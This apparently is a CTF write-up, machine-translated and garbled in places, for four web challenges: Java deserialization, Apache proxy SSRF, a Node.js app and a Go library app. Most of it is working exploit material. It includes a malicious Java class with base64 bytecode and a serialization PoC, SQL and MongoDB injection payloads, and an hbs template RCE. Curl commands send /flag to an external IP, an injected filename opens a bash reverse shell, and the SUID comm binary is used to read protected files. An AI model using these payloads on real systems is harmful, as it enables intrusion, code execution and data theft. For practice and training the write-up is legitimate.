EzGadget
Given the source code, open IDEA and see if there is a point of deserialization:
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}
return "welcome bro.";
}
Tostrimbean here:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ezgame.ctf.tools;
import java.io.Serializable;
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public ToStringBean() {
}
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object var3 = null;
try {
var3 = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "enjoy it.";
}
}
toString() calls defineClass here, which can dynamically load bytecode, but you have to find a way to call this toString.
When thinking of the BadAttributeValueExpException inverse sequence in CC5, toString is used, so one wave can be constructed.
Malicious class, I'll bring out the flag here:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() {
try {
String[] command = { "/bin/sh", "-c", "curl http://121.5.169.223:39767/ -F file=@/flag" };
Runtime.getRuntime().exec(command);
//Runtime.getRuntime().exec("sh /tmp/feng");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
root@VM-0-6-ubuntu:~/java/evil# cat Evil.class|base64 yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+ AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1 bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb
Then construct a wave POC:
import com.ezgame.ctf.tools.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception{
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
ToStringBean toStringBean = new ToStringBean();
field.set(badAttributeValueExpException,toStringBean);
byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh" +
"bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv" +
"bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw" +
"YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+" +
"AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n" +
"OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i" +
"aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m" +
"bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z" +
"bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1" +
"bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB" +
"AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA" +
"DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA" +
"AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF" +
"U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj" +
"ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA" +
"AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb");
clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");
field = clazz.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,classByte);
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeUTF("gadgets");
oout.writeInt(2021);
oout.writeObject(badAttributeValueExpException);
byte[] bytes = bout.toByteArray();
byte[] encode = Base64.getEncoder().encode(bytes);
System.out.println(new String(encode));
}
}
Hit:
Get flag:
apacheprOxy
I got through after a meal.
Reference article: https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
The weblogic of SSRF's intranet is the garbage of environmental thieves. They can't get through life and death. They can't get through it more times:
http://47.104.181.226:7410/?unix:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       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flag or curl:
curl http://121.5.169.223:39656/ -F file=@/flag
In addition, the senior students and I have nc received other people's payload s. Maybe I was lucky and took a blood:
eznode
One blood.
The first is a login:
router.post('/', async function (req, res, next) {
let username = req.body.username;
let password = req.body.password;
if (check(username) && check(password)) {
let sql = `select * from users where username='${username}' and password = '${password}'`;
const result = await select(sql)
.then(close())
.catch(err => { console.log(err); });
// console.log(result);
if(result){
if (result.username == username && password == result.password) {
res.cookie('token', result, { signed: true });
res.send("yes");
} else {
res.send("username or password error")
}
} else{
res.send('no')
}
} else {
res.send("Fak OFF HACKER");
}
});
``check ` this waf is easy to wrap around. Take the array.
Then there is this:
if (result.username == username && password == result.password) {
The fifth space has passed the test. Take the payload of the fifth space directly and change it:
POST / HTTP/1.1
Host: eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Content-Length: 389
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Referer: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=0ac3650127bce0646f3b72bc382255da
Connection: close
username[]=admin&password[]='%2F**%2Funion%2F**%2FSELECT%2F**%2F'admin'%2CREPLACE(REPLACE('%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23'%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C'%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23')%23
After successful login, there are 2 competent:
router.post('/admin', checkLogin, function (req, res, next) {
var name = req.body.name ? req.body.name : "admin";
res.render('admin', name)
});
// Not online yet... checkLogin
router.post('/upload', checkLogin, upload.any(), function (req, res, next) {
fs.readFile(req.files[0].path, function (err, data) {
if (err) {
console.log(err);
} else {
response = {
message: 'File uploaded successfully',
filename: req.files[0].path
};
res.end(JSON.stringify(response));
}
});
})
File upload is handled as follows:
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './upload_tmp')
},
filename: function (req, file, cb) {
cb(null, Date.now()+'.jpg')
}
})
It's no use. (I was wrong)
Take a look at package.json. Check the vulnerabilities one by one:
{
"name": "app",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www",
"dev": "nodemon index.js -e js"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"crypto": "^1.0.1",
"debug": "~2.6.9",
"express": "~4.16.1",
"hbs": "^4.0.1",
"http-errors": "~1.6.3",
"morgan": "~1.9.1",
"multer": "^1.4.3",
"mysql": "^2.18.1",
"path": "^0.12.7",
"sequelize": "^6.7.0"
}
}
When checking the template rendering of hbs, a CVE-2021-32822 is found:
https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/
It was supposed to be an arbitrary file read:
When reading / flag, it is found that the read file must have a suffix, otherwise. hbs will be added automatically:
Then I thought that this should be to analyze the template file. Using the upload function, we can realize the template rendering rce.
Check the template rendering rce of hbs:
https://xz.aliyun.com/t/4695
Write a POC with curl:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return global.process.mainModule.constructor._load('child_process').exec('curl http://121.5.169.223:39767/ -F file=@/flag')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Pass it on:
Then parse the template file:
Bring out flag:
OldLibrary
Go together. The first is the function of login and registration. There are two restrictions on the utilization of subsequent functions, one is localhost and the other is admin:
func AdminCheckMiddleWare() gin.HandlerFunc { // You can't be administrator
return func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("uname") == nil {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('You have not logged in yet');window.location.href='/auth'</script>")
return
}
if session.Get("uname").(string) != os.Getenv("ADMIN_USER") {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('You are not admin, and you can not be admin either!');window.location.href='/auth'</script>")
return
}
c.Next()
}
}
func IPCheckMiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {
c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})
return
}
c.Next()
}
}
admin here tells us that the user name is administrator, but the password is unknown.
After reviewing the code, it is found that SQL injection exists in the login:
err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"') {return true;}}"}).One(&result)
Inside is the judgment of js code. You can log in successfully with the administrator user name. It's easy. Just accept the js code:
username=administrator&password='||this.username=='administrator
A function restricted by localhost is found. There is an rce:
func DeleteController(c *gin.Context) { // The function is temporarily inaccessible
var filename Filename
if err := c.ShouldBindJSON(&filename); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" + filename.Filename)
if err := cmd.Run(); err != nil {
fmt.Println(err)
return
}
So we have to ssrf first.
/The function of submit is to give some parameters, make them into html, and then render them into pdf. It's easy to think of the secrets of this year's Xiangyun cup_ of_ Admin, bring pdf to ssrf.
Just write js to ssrf implement rce:
POST /submit HTTP/1.1
Host: eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Length: 799
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGaez0qbXRXdUlHaf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888/submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=7f4d85f214af75c12d03309d6885e159; mysession=MTYzNTY2NzU3N3xOd3dBTkUxU1RGRTJURUpNUzBwU1RUSXpSRlpCV1VwSlZrSmFOVlJNUTBSUFZsQkVTVFEzVkVoSVJESkNWbFZWTnpOR1FVRk9SMUU9fIiPFzlMoaVOs65bjmTmFCpCrHIsD8_sgSWXQB5M8XQp
Connection: close
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="title"
1234
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="author"
456
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="description"
1</td><script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1:8888/delete', true);
httpRequest.setRequestHeader("Content-type","application/json");
var obj = { "filename":"1234.pdf;bash -i >& /dev/tcp/121.5.169.223/39767 0>&1" };
httpRequest.send(JSON.stringify(obj));
</script><td>1
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="covers"; filename="1.txt"
Content-Type: text/plain
321
------WebKitFormBoundaryGaez0qbXRXdUlHaf--
The shell bounces over, and then looks at the read flag. You don't have permission. Try suid to raise the right. Take a look:
ctfer@engine-1:/$ find / -perm -u=s -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null /usr/lib/xorg/Xorg.wrap /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/sbin/pppd /usr/bin/chsh /usr/bin/mount /usr/bin/chfn /usr/bin/comm /usr/bin/newgrp /usr/bin/passwd /usr/bin/su /usr/bin/gpasswd /usr/bin/umount /usr/bin/pkexec ctfer@engine-1:/$
If comm is found, directly use comm to read / flaggisshere:
ctfer@engine-1:/$ comm /flagggisshere /etc/passwd
comm /flagggisshere /etc/passwd
flag{3c515cc6-3ce2-4c3d-9dbc-001ec5f8f13a}
root:x:0:0:root:/root:/bin/bash
comm: file 2 is not in sorted order
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:106:110:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:108:112:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
avahi:x:109:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:110:115::/var/lib/saned:/usr/sbin/nologin
colord:x:111:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:112:117::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:113:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm3:/bin/false
mongodb:x:115:121::/var/lib/mongodb:/usr/sbin/nologin
ctfer:x:1000:1000::/home/ctfer:/bin/bash
ctfer@engine-1:/$